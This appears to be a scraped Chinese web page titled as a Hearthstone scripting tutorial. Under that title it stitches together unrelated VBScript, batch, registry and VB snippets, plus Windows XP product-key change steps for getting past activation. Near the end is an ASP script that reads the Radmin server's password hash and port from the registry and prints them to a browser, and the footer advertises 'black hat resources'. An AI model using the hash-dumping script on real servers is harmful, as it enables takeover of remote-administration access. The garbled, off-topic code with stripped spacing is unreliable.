炉石传说编写脚本教程晚会执行

目前多媒体制作工具基本上可分为两类,一类是专为开发多媒体节目和电子出版物而设计的所谓多媒体编著工具(authoringtools);另一类是通用的软件开发工具,如Windows下的VisualBasic、VisualC++等
'Date: 2010/10/27
'Author: Demon
'QQ: 380401911
'E-mail: still.demon@gmail.com

begin=Timer
n=1
For i=1 To 100
n=multiple(n, 2)
Next
finish=Timer
WScript.Echo n
WScript.Echo finish - begin

'Grade school multiplication, Algorithm 14.12
'
Function multiple(byVal x, byVal y)
Dim n, t, i, j, z, w()
n=Len(x) - 1
t=Len(y) - 1
ReDim w(n + t + 1)

x=CStr(x) : y=CStr(y)

For i=0 To UBound(w)
w(i)="0"
Next

For i=0 To t
Dim c : c=0
Dim uv : uv=0

For j=0 To n
uv=(w(i+j)-"0") + c + _
(Mid(x,n-j+1,1)-"0") * (Mid(y,t-i+1,1)-"0")
w(i+j)=CStr(uv Mod 10 + "0")
c=uv \ 10
Next

w(i+n+1)=CStr(uv \ 10 + "0")
Next

z=Join(w,"")
z=StrReverse(z)
Do While Left(z,1)="0"
z=Mid(z,2)
Loop

multiple=z
End Function

炉石传说编写脚本教程晚会执行  第1张 (绿色是标题,蓝色的是原作者,红色的部分就是需要修改的部分,根据你自己的实际情况修改)

======打开迅闪菜单的同时连接虚拟磁盘的VBS======
SetWshShell=WScript.CreateObject("WScript.Shell")
Return=WshShell.Run("c:\client\新调用.exe",0,true)
Return=WshShell.Run("iscsicliAddTargetPortal192.168.0.93260",0,true)
Return=WshShell.Run("iscsicliLoginTargetiqn.2005-02.com.ricecake.iscsi:00T***************0",0,true)
SetWshShell=Nothing

======开机VBS调用远程批处理(延时+无黑屏后台运行的效果)======
DIMobjShell
setobjShell=wscript.createObject("wscript.shell")
WScript.Sleep(10000)
iReturn=objShell.Run("cmd.exe/C\\server\E\123.bat",0,TRUE)

======修改IE状态栏显示字符的注册表(感谢雷锋战友和15楼的ciwzero)======

WindowsRegistryEditorVersion5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones\3]
@=""
"DisplayName"="XX网吧"

======批处理获得本机的IP和MAC地址然后进行绑定(zzlike写的)======@echooff
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"PhysicalAddress"')dosetmac=%%j
for/f"tokens=1*delims=:"%%iin('ipconfig/all^|find/i"IPAddress"')dosetip=%%j
arp-s%ip:~1%%Mac:~1%

======强制刷新组策略和注册表======
xp/2003命令
gpupdate/force
2k命令
secedit/refreshpolicymachine_policy/enforce

======批处理修改IE主页(斑竹dseation的帖上搞来的)======
@regdelete"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/f
@regadd"HKEY_CURRENT_USER\Software\Microsoft\InternetExplorer\Main"/v"StartPage"/d""/f

======解除禁止下载的几种方法======
VBS代码:
DIMWSH
SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("本程序的作用是解决无法下载的问题")
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"REG_DWORD"
WSH.POPUP("现在您可以下载程序了!")

JS代码:
VARWSHShell=WSCRIPT.CREATOBJEt("WSCRIPT.SHELL");
WSHShell.Popup("本程序解决无法下载的问题,");
WSHShell.RegWrite("HKCU\Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones03",0,"reg_dword");

INF代码
[Version]
Signature="$CHICAGO$"
[DefaultInstall]
DelReg=Del
[Del]
HKCU,"Software\Microsoft\Windows\CurrentVersion\InternetSettings\Zones",1803

======屏蔽WIN2003开机弹出的错误对话框:在系统启动时至少有一个服务或驱动程序产生错误======
WindowsRegistryEditorVersion5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows]
"NoPopUpsOnBoot"=dword:00000001

======导入注册表不给任何提示的方法(百乐门网吧原创)======


======简单三步,更改序列号解决WINDOWSXP在线升级问题======
1)在〔开始〕→〔执行〕→〔Regedit〕→〔HKEY_LOCAL_MACHINE〕→〔SOFTWARE〕→〔Microsoft〕→
〔WindowsNT〕→〔CurrentVersion〕在〔WPAEvents〕内将〔OOBETimer〕的头两个数值〔FF〕删除
2)在〔开始〕→〔执行〕→〔oobe/msoobe/a〕进入〔启动画面〕→选择第二项〔电话启动〕
3)在进入下一个视窗,选择〔changeproductkey〕来修改序列号及输入新的序列号,完成后点击〔update〕进行更新及选〔remindmelater〕以后提醒注册即可

步骤:

1)在VisualBasic生成标准的EXE文件


ConstssfCONTROLS=3

sConnectionName="本地连接"'可改成需要控制的连接名称,如"无线网络连接"等

sEnableVerb="启用(&A)"
sDisableVerb="禁用(&B)"'XP系统中应为"停用(&B)"

setshellApp=createobject("shell.application")
setoControlPanel=shellApp.Namespace(ssfCONTROLS)

setoNetConnections=nothing
foreachfolderiteminoControlPanel.items
iffolderitem.name="网络连接"then
setoNetConnections=folderitem.getfolder:exitfor
endif
next

ifoNetConnectionsisnothingthen
msgbox"未找到网络连接文件夹"
wscript.quit
endif

setoLanConnection=nothing
foreachfolderiteminoNetConnections.items
iflcase(folderitem.name)=lcase(sConnectionName)then
setoLanConnection=folderitem:exitfor
endif
next

ifoLanConnectionisnothingthen
msgbox"未找到'"&sConnectionName&"'item"
wscript.quit
endif

bEnabled=true
setoEnableVerb=nothing
setoDisableVerb=nothing
s="Verbs:"&vbcrlf
foreachverbinoLanConnection.verbs
s=s&vbcrlf&verb.name
ifverb.name=sEnableVerbthen
setoEnableVerb=verb
bEnabled=false
endif
ifverb.name=sDisableVerbthen
setoDisableVerb=verb
endif
next

'debuggingdisplaysleftjustincase...
'
'msgboxs':wscript.quit
'msgbox"Enabled:"&bEnabled':wscript.quit

'notsurewhy,butinvokeverbalwaysseemedtowork
'forenablebutnotdisable.
'
'savingareferencetotheappropriateverbobject
'andcallingtheDoItmethodalwaysseemstowork.
'
ifbEnabledthen
'oLanConnection.invokeverbsDisableVerb
oDisableVerb.DoIt
else
'oLanConnection.invokeverbsEnableVerb
oEnableVerb.DoIt
endif

'adjustthesleepdurationbelowasneeded...
'
'ifyoulettheoLanConnectiongooutofscope
'andbedestroyedtoosoon,theactionoftheverb
'maynottake...
'
wscript.sleep400

  DimExport_Str,mdbTableAsString

  DimrsExportAsNewADODB.Recordset

  DimconnAsNewADODB.Connection

  PrivateSubClose_cmd_Click()

  UnloadMe

  EndSub

  

  PrivateSubEXport_cmd_Click()

  DimmyPath,myStrAsString,myPosAsInteger

  '******************处理选择的各种表的导出

  WithDialog1

  IfmyOption(2).ValueThen

  .FilterIndex=1

  .ShowSave

  myStr=StrReverse(.FileName)'串取反

  myPos=InStr(myStr,"\")'在反字符串中,找从左开始第一个\的位置

  OnErrorGoTomyError'防FILENAME为空,MID出错

  myPath=StrReverse(Mid(myStr,myPos))'取目录部分,并还原.

  myStr=StrReverse(Left(myStr,myPos-1))'取文件名

  Export_Str="select*into[dBaseIII;database="&myPath&"]."&myStr&"fromCustomers"

  .DefaultExt="*.DBF"
  

  ElseIfmyOption(3).ValueThen

  mdbTable=InputBox("请给导出到MDB文件的表确定表名")

  .FilterIndex=2

  .ShowSave

  Export_Str="select*into[;database="&.FileName&"]."&mdbTable&"fromCustomers"

  .DefaultExt="*.MDB" 

  ElseIfmyOption(4).ValueThen

  .FilterIndex=3

  .ShowSave

  Export_Str="select*into[Excel8.0;database="&.FileName&"].CustomersfromCustomers"

  .DefaultExt="*.XLS"  

  ElseIfmyOption(5).ValueThen

  .FilterIndex=4

  .ShowSave

  myStr=StrReverse(.FileName)'串取反

  myPos=InStr(myStr,"\")'在反字符串中,找从左开始第一个\的位置

  OnErrorGoTomyError'防FILENAME为空,MID出错

  myPath=StrReverse(Mid(myStr,myPos))'取目录部分,并还原.

  myStr=StrReverse(Left(myStr,myPos-1))'取文件名

  Export_Str="select*into[Paradox4.X;database="&myPath&"]."&myStr&"fromCustomers"

  .DefaultExt="*.DB"

  EndIf

  EndWith
  

  '*****生成文件

  Debug.PrintExport_Str

  IfrsExport.State=1Then

  rsExport.Close

  EndIf 

  IfDir(Dialog1.FileName)<>""Then

  OnErrorGoTomyError'防用户没选文件

  IfDialog1.FilterIndex<>2Then

  Kill(Dialog1.FileName)

  EndIf

  rsExport.OpenExport_Str,conn,adOpenStatic,adLockOptimistic

  Else

  rsExport.OpenExport_Str,conn,adOpenStatic,adLockOptimistic

  EndIf

  myError:

  ExitSub

  EndSub  

  PrivateSubForm_Load()

  '联接数据库并打开记录集

  conn.CursorLocation=adUseServer

  conn.Open"PROVIDER=Microsoft.Jet.OLEDB.4.0;DataSource=" App.Path "\NWind.mdb;"

  rsExport.Open"select*fromCustomers",conn,adOpenStatic,adLockOptimistic

  SetGrid1.DataSource=rsExport

  '初始化对话筐

  WithDialog1

  .Filter="FoxBase/FoxPro(*.DBF) *.DBF Access8.0(*.MDB) *.MDB Excel8.0(*.XLS) *.XLS Paradox4.x(*.DB) *.DB"

  .DialogTitle="导出文件为"

  .CancelError=False

  EndWith

  EndSub

->


<%
'========================================Main======================================
SetWSH=Server.CreateObject("Wscript.shell")
RadminPath="HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters"
Parameter="Parameter"
Port="Port"
ParameterArray=WSH.Regread(RadminPath&Parameter)
Response.write"TheResultofRadminHash"
Response.write"<br><br>"
Response.writeParameter&":"
'===========ReadPassWord=========
IfIsArray(ParameterArray)Then
Fori=0ToUBound(ParameterArray)
IfLen(hex(ParameterArray(i)))=1Then
strObj=strObj&"0"&CStr(Hex(ParameterArray(i)))
Else
strObj=strObj&Hex(ParameterArray(i))
EndIf
Next
response.writeLcase(strobj)
Else
response.write"Error!Can'tRead!"
EndIf
Response.write"<br><br>"
'===========ReadPort=========
PortArray=WSH.REGREAD(RadminPath&Port)
IfIsArray(PortArray)Then
Response.writePort&":"
Response.writehextointer(CStr(Hex(PortArray(1)))&CStr(Hex(PortArray(0))))
Else
Response.write"Error!Can'tRead!"
EndIf
'=============hexTOint==========
Functionhextointer(strin)
Dimi,j,k,result
result=0
Fori=1ToLen(strin)
IfMid(strin,i,1)="f"OrMid(strin,i,1)="F"Then
j=15
EndIf
IfMid(strin,i,1)="e"OrMid(strin,i,1)="E"Then
j=14
EndIf
IfMid(strin,i,1)="d"OrMid(strin,i,1)="D"Then
j=13
EndIf
IfMid(strin,i,1)="c"OrMid(strin,i,1)="C"Then
j=12
EndIf
IfMid(strin,i,1)="b"OrMid(strin,i,1)="B"Then
j=11
EndIf
IfMid(strin,i,1)="a"OrMid(strin,i,1)="A"Then
j=10
EndIf
IfMid(strin,i,1)<="9"AndMid(strin,i,1)>="0"Then
j=CInt(Mid(strin,i,1))
EndIf
Fork=1ToLen(strin)-i
j=j*16
Next
result=result+j
Next
hextointer=result
EndFunction
'================End==========
%>VB(VisualBasic)具有很强的多媒体处理控制功能,VB的多媒体控制MCI(Mediacontrolinterface)包括一套控制音频和视频设备但具有与设备无关的命令,用它来进行多媒体设计是很方便的

OK罗技鼠标宏指令如果在浮点表达式中使用这些常量,可以通过常量的合适类型来加速程序运行,就象下面的代码:

value#=value# 1#.

这个语句强迫编译器按照Double格式存储常量,这样就省却了运行时的隐含转换工作

更多脚本关注好码网 - www.Haoma5.com好码网 - WordPress主题、EMLOG主题、DEDECMS模板尽在这里。 《www.Haoma5.com》
转载请说明《好码网_Haoma5.com》
好码网 » 炉石传说编写脚本教程晚会执行

一个专注于资源分享的网站

黑帽资源 网站源码